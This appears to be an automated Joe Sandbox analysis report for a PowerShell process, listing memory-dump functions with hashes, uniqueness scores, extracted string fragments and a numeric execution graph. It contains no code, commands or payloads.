                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 17d092d04a30d71f7751b360beb6df66c31ce53411328b6cf032ed0edb237d88
                                                            • Instruction ID: 923fd0f7c4948fb77afd77e830f35e3013bb74d1fac3d3ddf7a5bf980aa44c10
                                                            • Opcode Fuzzy Hash: 17d092d04a30d71f7751b360beb6df66c31ce53411328b6cf032ed0edb237d88
                                                            • Instruction Fuzzy Hash: 9BE0DF38D1824A8BCB24FF64E44696EBFB4EB15309F0488AAED459B347DB315852CFC4
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348DCF0 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
                                                            • Instruction ID: 5d7c249968d6cdbb86fbb2060c2cd4c4a9b8687519504d5dd9e0fd3415914ce0
                                                            • Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
                                                            • Instruction Fuzzy Hash: FAE08631B00014978B08E79DD4504EDF7A5DFCD220F04847FD91AA7380DA32591686E5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348DCA0 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 6d000244ce09934c218ef8d7b7d8a2bdd0fbacf0a3c421e8d1311a51ca54b856
                                                            • Instruction ID: d828955dc72feb9f96e1af2b6458b651f4581a45620aec7316560d9d5d186116
                                                            • Opcode Fuzzy Hash: 6d000244ce09934c218ef8d7b7d8a2bdd0fbacf0a3c421e8d1311a51ca54b856
                                                            • Instruction Fuzzy Hash: F8E08C35B41A184B8215AB6EA81085FB69ADFC5661344842EE1298B344DFB0D84A47D9
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348C5A0 Relevance: .0, Instructions: 18COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 779ef055303041f3864566e73ed5b5160ee89c2e5bb80e8b60cf2afa1a081a95
                                                            • Instruction ID: ea528ddc8a4b99dce6b192a92f0d61dc2d4274552c226c642c46adb0a9d8131d
                                                            • Opcode Fuzzy Hash: 779ef055303041f3864566e73ed5b5160ee89c2e5bb80e8b60cf2afa1a081a95
                                                            • Instruction Fuzzy Hash: 95D0A73D3002105B4204A35DF40445977DDDBDA762300403FE60DC3344DF619C0583E4
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348F860 Relevance: .0, Instructions: 18COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 3c3a5039dfa06a629c03f9ea0d993fa48ee0c3fda6b731f26f7ba0408d2e1b2a
                                                            • Instruction ID: e516545e15848dc4e32e80557935d9ef1511bcac2666115147e0962e7371d79c
                                                            • Opcode Fuzzy Hash: 3c3a5039dfa06a629c03f9ea0d993fa48ee0c3fda6b731f26f7ba0408d2e1b2a
                                                            • Instruction Fuzzy Hash: BBE01A70E4424ADF8B80EF7CC8415ADFFF0EB49240B5486AEC519E6205E3324612CF81
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348F870 Relevance: .0, Instructions: 16COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
                                                            • Instruction ID: b0086de8a35964b99d3452cc63f7222d0928ebb4d624e9f9f90954306af16df2
                                                            • Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
                                                            • Instruction Fuzzy Hash: 3DD067B0D042099F8780EFADD94156EFBF4EB48200F6085AA8919E7301E7329A12CBD5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03488748 Relevance: .0, Instructions: 15COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: d30243e5894a82c35fdb2d96ba8c524bfd5953438a2dbbb2213692df6c912390
                                                            • Instruction ID: c6aea47e41fff8b80445f13bca2476253793d90f15508351013c13d07b06bb88
                                                            • Opcode Fuzzy Hash: d30243e5894a82c35fdb2d96ba8c524bfd5953438a2dbbb2213692df6c912390
                                                            • Instruction Fuzzy Hash: CCD067398141098BCB08FBA4F85A4BDBB74FA14301F41916EE92752196EB311AAACAC5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03488810 Relevance: .0, Instructions: 15COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 4b6a684f09bba07b7702d45cf47841fd94eacaf161c9a26cd47010cac2421d75
                                                            • Instruction ID: 4cbf009fff0fb49d192446528e0fd6a231ce4e12eea4bd8f36dc2da01d3fb821
                                                            • Opcode Fuzzy Hash: 4b6a684f09bba07b7702d45cf47841fd94eacaf161c9a26cd47010cac2421d75
                                                            • Instruction Fuzzy Hash: C8D01238D1420A8B8704EF64E44646DBBB4EB44204F00815AEA5593345EB305852CFC5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348EA57 Relevance: .0, Instructions: 14COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: e4e78a4a909227ef31854e26b5356beab339977784c5740bff64f28ff8574dd2
                                                            • Instruction ID: 2333a7ca03d7b3224af47f77b029d9c56657dbe48644f7ff608fc0b2438af2dc
                                                            • Opcode Fuzzy Hash: e4e78a4a909227ef31854e26b5356beab339977784c5740bff64f28ff8574dd2
                                                            • Instruction Fuzzy Hash: 85D09239A41218CFDB04DB98E895A9CF371FB84329F1080A6E6199B251CB32ED52CB40
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03487920 Relevance: .0, Instructions: 11COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: d48fe38eebda43384c7407a037bdec3ce86e7f3eabb50e60ad9c01428cee8e43
                                                            • Instruction ID: 98f2a9996bf8adee04b46218a33f930e84ac09c3d33ecd4924be6248f1d1304e
                                                            • Opcode Fuzzy Hash: d48fe38eebda43384c7407a037bdec3ce86e7f3eabb50e60ad9c01428cee8e43
                                                            • Instruction Fuzzy Hash: F4C012340453898BCB259B34D0548583F60BA0111531505DCD80A0B6B3C9729046CB06
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03487E90 Relevance: .0, Instructions: 11COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 2c79a0ecf6090581a698b4a4173b885974af887d3f843448e2177d6745ed56e2
                                                            • Instruction ID: c4ac27bbc1507657a69c2657fc0e9ba37f941b5e3097ed0d1dd438d2424aeba8
                                                            • Opcode Fuzzy Hash: 2c79a0ecf6090581a698b4a4173b885974af887d3f843448e2177d6745ed56e2
                                                            • Instruction Fuzzy Hash: 09C04C1944F7C86EE71303254D611456F31254341474F12CA8984DF563D54E580DCF52
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03487928 Relevance: .0, Instructions: 8COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 40ae595e698b33f36d63659fc4e27feca0242a0a0b95cecb845fd3558054723c
                                                            • Instruction ID: 6ceecc0aa1325a8b400b2586e7b53f43acddd5d8e58a174ccdb96d3234cd4d10
                                                            • Opcode Fuzzy Hash: 40ae595e698b33f36d63659fc4e27feca0242a0a0b95cecb845fd3558054723c
                                                            • Instruction Fuzzy Hash: B8B0923104470DCFC249BF75E4088147329FB4421938108A8E90E0B3A28E36E88ACA49
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Non-executed Functions

                                                            Function 07AA1BE0 Relevance: 21.7, Strings: 17, Instructions: 413COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2109688683.0000000007AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AA0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_7aa0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $c\k$4'^q$4'^q$4'^q$4'^q$84gl$84gl$pi1k$tP^q$tP^q$Jjl$Jjl$Jjl$Jjl$Jjl$ril$ril
                                                            • API String ID: 0-98533443
                                                            • Opcode ID: b36b4b2c548e56de6e5fd2dd790cb6989f2e3f6e05d12776dedfdd2fc396b11e
                                                            • Instruction ID: df74ceb0422ec605add09977056e627ca86cd4391e3e500d9d92d4d930af8de9
                                                            • Opcode Fuzzy Hash: b36b4b2c548e56de6e5fd2dd790cb6989f2e3f6e05d12776dedfdd2fc396b11e
                                                            • Instruction Fuzzy Hash: 19D138B1B0421ABFC7258F68D4046AABBB6AFC6210F1484BBD565CF255DB31CC85C7A1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07AA3928 Relevance: 12.8, Strings: 10, Instructions: 319COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2109688683.0000000007AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AA0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_7aa0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$$^q$_l$_l
                                                            • API String ID: 0-648847570
                                                            • Opcode ID: eb6a3da99d4fef94c06df63f3cbe1195c56363d3695eef27c9619822542dd267
                                                            • Instruction ID: 4b2f4476ead2f018e68c593e1e5972a37e75d456f9a7bf3d96ae6260b8bd6ada
                                                            • Opcode Fuzzy Hash: eb6a3da99d4fef94c06df63f3cbe1195c56363d3695eef27c9619822542dd267
                                                            • Instruction Fuzzy Hash: BEA159B1704316AFCB149F698810B66BBF6AFC6710F1484AAE425CF3A1DB32CC85C761
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348EBB8 Relevance: 10.2, Strings: 8, Instructions: 180COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: ,bq$0oAp$$^q$$^q$$^q$$^q$$^q$$^q
                                                            • API String ID: 0-4154621813
                                                            • Opcode ID: ea28184d4ce71676f1e8ab59ce5a273d3e167edf70b2cf59b779d2e9aec54143
                                                            • Instruction ID: a618df04672274a514a3a78d342ce104f5da06256a2b7858a1e4503fd58e23b4
                                                            • Opcode Fuzzy Hash: ea28184d4ce71676f1e8ab59ce5a273d3e167edf70b2cf59b779d2e9aec54143
                                                            • Instruction Fuzzy Hash: 2C51AC307844198FC728FBBC989482D3BD7AB89A5431408ABE026CF3B5DF15CCC6875A
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348EDE8 Relevance: 9.2, Strings: 7, Instructions: 453COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 0oAp$0oAp$0oAp$`Q^q$$^q$$^q$$^q
                                                            • API String ID: 0-1375766648
                                                            • Opcode ID: c3c62705f74fb341a35a14da6b63d71c57c37637e57bae518556122fd399caf2
                                                            • Instruction ID: bc0767409eea43368f8b385cdff48e513562d4c67f015e993c6cf43783e0360b
                                                            • Opcode Fuzzy Hash: c3c62705f74fb341a35a14da6b63d71c57c37637e57bae518556122fd399caf2
                                                            • Instruction Fuzzy Hash: 53E102307502118FD714EBB9A41463E76DBAFC9B10B2844ABD906DF3A4EE75DC828396
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07AA3678 Relevance: 8.9, Strings: 7, Instructions: 188COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2109688683.0000000007AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AA0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_7aa0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 4'^q$4'^q$$^q$$^q$$^q$_l$_l
                                                            • API String ID: 0-4286007357
                                                            • Opcode ID: e7fed5cfd3ff1242526a3a87e6c9780520cc94a2939e150762b3cc4379bb2ed1
                                                            • Instruction ID: b01b57ffc21ad41f4f85dea22dc132f2b4baa871664a62a36a2c9b8b76e1cf26
                                                            • Opcode Fuzzy Hash: e7fed5cfd3ff1242526a3a87e6c9780520cc94a2939e150762b3cc4379bb2ed1
                                                            • Instruction Fuzzy Hash: 0B5157F5704306AFDF249B698810677BBF6AFC6621F2480ABD465CB351DB31C885CB92
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03487A09 Relevance: 6.5, Strings: 5, Instructions: 239COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: tMil$`_q$`_q$`_q$`_q
                                                            • API String ID: 0-1026082384
                                                            • Opcode ID: f43be5d3d13f7b7e813bc2fd26af4452482f7097705e03ae4a9a5148f56f4f60
                                                            • Instruction ID: aff2c21e32a0bac5a162502e5cb389d93a5b76e8a9d31a86ca74b3eab00d8118
                                                            • Opcode Fuzzy Hash: f43be5d3d13f7b7e813bc2fd26af4452482f7097705e03ae4a9a5148f56f4f60
                                                            • Instruction Fuzzy Hash: 78B19474E012099FCB55DFA9D990A9DFBF2FF88300F20862AD419AB315D770A945CF90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03487A18 Relevance: 6.5, Strings: 5, Instructions: 234COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: tMil$`_q$`_q$`_q$`_q
                                                            • API String ID: 0-1026082384
                                                            • Opcode ID: 1d5c075f563d366f90f533ced7f13b6cdcfaf8f8ffcde5dded7b0ae6de43a82e
                                                            • Instruction ID: ad599c6425710af0fc3480d233dceb98c06b433d4427b555ec581d195a08ab93
                                                            • Opcode Fuzzy Hash: 1d5c075f563d366f90f533ced7f13b6cdcfaf8f8ffcde5dded7b0ae6de43a82e
                                                            • Instruction Fuzzy Hash: 2BB18474E006099FCB54DFA9D590A9EFBF2FF88300F20862AD419AB315DB70A945CF90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03484C62 Relevance: 6.4, Strings: 5, Instructions: 106COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: co^$co^$co^$co^$co^
                                                            • API String ID: 0-1272234110
                                                            • Opcode ID: d6d7ca1ed99e5d5c8d20192c6fa1ed97b5d89994ca121a121ab47e83a5c8fd55
                                                            • Instruction ID: 15fd1c082553b1c06b2828c3a36a2e572e39b855c9e478555a16889fcaef8308
                                                            • Opcode Fuzzy Hash: d6d7ca1ed99e5d5c8d20192c6fa1ed97b5d89994ca121a121ab47e83a5c8fd55
                                                            • Instruction Fuzzy Hash: 6E41E95280E3D14FD317AB2965A82D87F60AFB3294F0A00EBC4D48F1A7DD19585E87DA
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07AA5798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2109688683.0000000007AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AA0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_7aa0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $^q$$^q$$^q$$^q
                                                            • API String ID: 0-2125118731
                                                            • Opcode ID: 64363b2a0c6c0857551bdec5f8f66417713a9c9f43e59725a571804bd20e50b4
                                                            • Instruction ID: 31df7fdafde6b5c9c23358815f496c623e3212d1266a896a4297265c90c0073e
                                                            • Opcode Fuzzy Hash: 64363b2a0c6c0857551bdec5f8f66417713a9c9f43e59725a571804bd20e50b4
                                                            • Instruction Fuzzy Hash: 712149B2B00306BBDB345A6A8C00B27B7DA6FC4712F24882AE515CF385DE75C8518769
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07AA22E8 Relevance: 5.1, Strings: 4, Instructions: 82COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2109688683.0000000007AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AA0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_7aa0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: pi1k$pi1k$Jjl$Jjl
                                                            • API String ID: 0-504072882
                                                            • Opcode ID: 2464f8027f289ccb103bea8e7ca1d9ced3b7bca333829a1e5fe32bf8c790b0aa
                                                            • Instruction ID: fb97d8418763beaaa930997e278271bbfdeb42fcdc39ce2624812e3d3a6e19b3
                                                            • Opcode Fuzzy Hash: 2464f8027f289ccb103bea8e7ca1d9ced3b7bca333829a1e5fe32bf8c790b0aa
                                                            • Instruction Fuzzy Hash: 762181B5D04306FFDB298F1585447A9BBB4BBC7221F4880AAD8248B191D735C994CBA2
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07AA218F Relevance: 5.1, Strings: 4, Instructions: 55COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2109688683.0000000007AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AA0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_7aa0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: Tc\k$$^q$Jjl$Jjl
                                                            • API String ID: 0-3450539421
                                                            • Opcode ID: ddb70bf89b56a489b4ab41bb66b746df1067ef0f2873007ec3d2807b9e677df4
                                                            • Instruction ID: 4406916e3ff46514ddc89e266457b255880700be490763bd69e8aa9d19d0aa92
                                                            • Opcode Fuzzy Hash: ddb70bf89b56a489b4ab41bb66b746df1067ef0f2873007ec3d2807b9e677df4
                                                            • Instruction Fuzzy Hash: 5E1108F2708352AFC3158B5C9C017A6BBB1BBD2611B1445ABD2108FADACB309895C76A
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07AA2107 Relevance: 5.1, Strings: 4, Instructions: 52COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2109688683.0000000007AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AA0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_7aa0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $^q$$^q$Jjl$Jjl
                                                            • API String ID: 0-3212985832
                                                            • Opcode ID: c11a3d8d6ff3784d849d47aafbb0bd963477a20348357fa639237f8b0b0fe2ef
                                                            • Instruction ID: bd10169ebf7cfa35456b53412af9c32bb4ea41f33acf0fce47003b97b245ee07
                                                            • Opcode Fuzzy Hash: c11a3d8d6ff3784d849d47aafbb0bd963477a20348357fa639237f8b0b0fe2ef
                                                            • Instruction Fuzzy Hash: 8901D8716093915FC323466C4C10697BFB66FD351071945DBD690DF3ABCA258C09C7A2
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07AA2207 Relevance: 5.0, Strings: 4, Instructions: 50COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2109688683.0000000007AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AA0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_7aa0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: Tc\k$lc\k$Jjl$Jjl
                                                            • API String ID: 0-1881414614
                                                            • Opcode ID: 5e535a4ec54f634dc0127f378ea56b138ad29e3fa8a2e4a6b74b8ba5564df5ee
                                                            • Instruction ID: 8c67fcb4e873d2864aaa8cff22f257155e101809a6389166a75b39bdbf23ef34
                                                            • Opcode Fuzzy Hash: 5e535a4ec54f634dc0127f378ea56b138ad29e3fa8a2e4a6b74b8ba5564df5ee
                                                            • Instruction Fuzzy Hash: BC0128B1708361AFD20187589C91BA7BFA5AFD3700F0145A7D510CFAD6CA60DC8AC7E6
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07AA0308 Relevance: 5.0, Strings: 4, Instructions: 48COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2109688683.0000000007AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AA0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_7aa0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 4'^q$4'^q$$^q$$^q
                                                            • API String ID: 0-2049395529
                                                            • Opcode ID: 1105ea60feceb04d1a01ba6c43734ee2ff657eca6547d9354bf8ddaae77a4dde
                                                            • Instruction ID: 746119aad3a8bc0ef5c000472309470df0eb6528df1cd080a22ab682dadc11ea
                                                            • Opcode Fuzzy Hash: 1105ea60feceb04d1a01ba6c43734ee2ff657eca6547d9354bf8ddaae77a4dde
                                                            • Instruction Fuzzy Hash: 94018F61B0D7D65FC32B52281C20267AFB65FC3920B1945DBC090DF2A7DE154C8D83A7
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Execution Graph

                                                            Execution Coverage:6.4%
                                                            Dynamic/Decrypted Code Coverage:100%
                                                            Signature Coverage:0%
                                                            Total number of Nodes:199
                                                            Total number of Limit Nodes:6
                                                            execution_graph 25201 4f4af50 25202 4f4af65 25201->25202 25206 4f4af7b 25202->25206 25210 4f4b3f6 25202->25210 25215 4f4afff 25202->25215 25220 4f4b25e 25202->25220 25225 4f4b06d 25202->25225 25230 4f4af80 25202->25230 25235 4f4af90 25202->25235 25212 4f4afed 25210->25212 25211 4f4affc 25211->25206 25212->25211 25240 4f4c9a8 25212->25240 25244 4f4c999 25212->25244 25217 4f4afed 25215->25217 25216 4f4affc 25216->25206 25217->25215 25217->25216 25218 4f4c9a8 11 API calls 25217->25218 25219 4f4c999 11 API calls 25217->25219 25218->25217 25219->25217 25221 4f4afed 25220->25221 25222 4f4affc 25221->25222 25223 4f4c9a8 11 API calls 25221->25223 25224 4f4c999 11 API calls 25221->25224 25222->25206 25223->25221 25224->25221 25227 4f4afed 25225->25227 25226 4f4affc 25226->25206 25227->25226 25228 4f4c9a8 11 API calls 25227->25228 25229 4f4c999 11 API calls 25227->25229 25228->25227 25229->25227 25232 4f4afba 25230->25232 25231 4f4affc 25231->25206 25232->25231 25233 4f4c9a8 11 API calls 25232->25233 25234 4f4c999 11 API calls 25232->25234 25233->25232 25234->25232 25237 4f4afba 25235->25237 25236 4f4affc 25236->25206 25237->25236 25238 4f4c9a8 11 API calls 25237->25238 25239 4f4c999 11 API calls 25237->25239 25238->25237 25239->25237 25241 4f4c9bd 25240->25241 25248 4f4ccac 25241->25248 25245 4f4c9bd 25244->25245 25247 4f4ccac 11 API calls 25245->25247 25246 4f4c9df 25246->25212 25247->25246 25249 4f4ce24 25248->25249 25253 4f4d680 25249->25253 25270 4f4d671 25249->25270 25250 4f4ce58 25254 4f4d695 25253->25254 25287 4f4e1b0 25254->25287 25292 4f4ddc9 25254->25292 25297 4f4d969 25254->25297 25302 4f4e628 25254->25302 25306 4f4d8ec 25254->25306 25311 4f4e5a2 25254->25311 25315 4f4dd22 25254->25315 25320 4f4e6c1 25254->25320 25325 4f4e340 25254->25325 25330 4f4db66 25254->25330 25335 4f4dfc6 25254->25335 25340 4f4da7a 25254->25340 25345 4f4e0fe 25254->25345 25350 4f4e512 25254->25350 25255 4f4d6b7 25255->25250 25271 4f4d695 25270->25271 25273 4f4e1b0 2 API calls 25271->25273 25274 4f4e512 2 API calls 25271->25274 25275 4f4e0fe 2 API calls 25271->25275 25276 4f4da7a 2 API calls 25271->25276 25277 4f4dfc6 2 API calls 25271->25277 25278 4f4db66 2 API calls 25271->25278 25279 4f4e340 2 API calls 25271->25279 25280 4f4e6c1 2 API calls 25271->25280 25281 4f4dd22 2 API calls 25271->25281 25282 4f4e5a2 2 API calls 25271->25282 25283 4f4d8ec 2 API calls 25271->25283 25284 4f4e628 3 API calls 25271->25284 25285 4f4d969 3 API calls 25271->25285 25286 4f4ddc9 2 API calls 25271->25286 25272 4f4d6b7 25272->25250 25273->25272 25274->25272 25275->25272 25276->25272 25277->25272 25278->25272 25279->25272 25280->25272 25281->25272 25282->25272 25283->25272 25284->25272 25285->25272 